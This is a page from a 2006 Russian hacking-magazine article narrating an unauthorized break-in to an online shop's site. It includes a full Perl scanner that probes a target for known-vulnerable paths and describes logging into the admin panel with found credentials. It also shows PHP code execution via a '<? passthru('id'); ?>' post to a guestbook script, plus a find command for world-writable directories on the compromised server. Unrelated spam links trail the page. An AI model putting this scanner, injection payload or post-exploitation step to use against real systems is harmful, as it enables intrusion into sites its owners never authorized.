Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #88, АПРЕЛЬ 2006 г.

Налет на магазин

l1s(dalnet, #ru24)

Хакер, номер #088, стр. 088-064-2


use IO::Socket;

use strict;

if(@ARGV < 2) { usage(); }

my ($hostname, $file, $port) = @ARGV;

$port or $port = 80;

$hostname=~s/^http:\/\///;

$hostname=~s/\/$//;

open(FILE,"<$file") or die "File $file not found!\n";

print "[~] Scan started ($hostname:$port).\n";

while(my $bug=<FILE>) {

chomp $bug;

$bug = "/".$bug unless ($bug =~ /^\//);

print "$hostname$bug\n" if scan($bug);

}

close(FILE);

print "[~] Scan finished.\n";

sub scan {

my $string=shift;

my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $hostname, PeerPort => $port );

unless ($remote) { print "can't connect\n"; exit 0; }

$remote->autoflush(1);

my $http = qq{HEAD $string HTTP/1.1

HOST: $hostname

};

print $remote $http;

while(<$remote>) {

return "ok" if(/HTTP.+?200\sOK/) or return undef;

}

}

Ничего особенного - простенький алгоритм небольшого размера. Сканер должен быть с тремя параметрами. Первый - это атакуемый хост, второй - файл с уязвимостями и третий - это порт, по которому будет проходить сканирование. Я законнектился на шелл, слил туда сканер и с чувством самоудовлетворения запустил его через несколько минут. Сканер остановил свою работу. Результатом сканирования стали несколько левых папок и еще один приметный каталог со знакомым мне названием. Я перешел по найденной папке и попал на главную страницу какой-то гостевой книги. Копирайты не дали мне нужной инфы, поэтому я решил все делать ручками. В гесте были несколько отзывов о сайте, левые базары о новых поступивших товаров и т.д. Для меня это не имело никакого значения. Я ненароком подставил в конец ссылки /admin и быстро очутился в панели авторизации для администратора. "Это уже хорошо", - подумал я, - и попробовал подставить найденный логин и пароль в форму для админа. Я не поверил своим глазам!!! Логин и пасс действительно подошли!

[о, sheet double-bug, good]

Теперь мне было необходимо найти зацепочный вариант для продвижения взлома. Я немного побегал по админке, и вот что мне удалось узнать. Геста имела свой аплоад-скрипт картинок, но после проверки на фильтры я понял, что с ним нет никакого смысла возиться. Так же была возможной опция редактирования шаблонов. Я попытался отредактировать один из них, подставив в конец простенькую конструкцию кода <? passthru('id');?>, но, естественно, не получил ожидаемого результата. Тогда я обратился к скрипту poster.php, который отвечал за добавление новых сообщений в гостевой, и попытался добавить новый мессадж, с тем же содержанием (<? passthru('id'); ?>). И что ты думаешь? Да, скрипт действительно был немного дырявым, охотно исполняющим вражеский php-код. На сервере крутилась freebsd 5.4, от которой я сразу отвернулся. По команде:

find / -type d \( -perm -2 -o -perm -20 \) -exec ls -ldg {} \;

Назад на стр. 088-064-1  Содержание  Вперед на стр. 088-064-3
какой мазок надо на 12 недели беременности | Диагностируем кожные заболевания современным оборудованием | только здесь. Морская радар антенна продажа. Очень много | иготовление промышленных зданий продажа промышленных зданий | только у нас! Гостиницы в москве 2-3 звезды. Детально